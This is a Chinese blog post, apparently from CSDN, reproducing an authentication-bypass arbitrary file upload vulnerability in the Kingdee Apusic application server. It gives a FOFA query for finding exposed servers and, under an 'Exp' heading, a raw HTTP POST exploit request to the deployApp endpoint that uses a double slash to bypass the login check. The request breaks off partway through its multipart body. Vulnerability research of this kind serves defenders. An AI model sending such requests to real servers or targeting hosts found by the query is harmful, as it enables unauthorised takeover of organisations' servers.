金蝶Apusic应用服务器任意文件上传漏洞复现

最新推荐文章于 2023-12-24 12:42:19 发布

0xSecl

最新推荐文章于 2023-12-24 12:42:19 发布

阅读量2.3k

点赞数 7

分类专栏：漏洞复现文章标签：安全 web安全

本文链接：https://blog.csdn.net/qq_41904294/article/details/134654352

版权

漏洞复现专栏收录该内容

812 篇文章 1337 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了金蝶Apusic应用服务器的任意文件上传漏洞，详细阐述了漏洞概述、复现环境及过程，并提供了修复建议。攻击者可以利用deployApp接口的双斜杠绕过鉴权，上传恶意压缩包，获取服务器权限。

摘要由CSDN通过智能技术生成

0x01 产品简介

金蝶Apusic应用服务器（Apusic Application Server，AAS）是一款标准、安全、高效、集成并具丰富功能的企业级应用服务器软件，全面支持JakartaEE8/9的技术规范，提供满足该规范的Web容器、EJB容器以及WebService容器等，支持Websocket1.1、Servlet4.0、HTTP2.0等最新的技术规范，为企业级应用的便捷开发、灵活部署、可靠运行、高效管控以及快速集成等提供关键支撑。

0x02 漏洞概述

金蝶Apusic应用服务器 deployApp 接口存在任意文件上传漏洞，攻击者可通过双斜杠绕过鉴权并上传恶意压缩包接管服务器权限。

0x03 复现环境

FOFA：app="Apusic应用服务器"

0x04 漏洞复现

Exp

POST /admin//protect/application/deployApp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd9acIBdVuqKWDJbd
Accept-Encoding: gzip

------WebKitFormBoundaryd9acIBdVu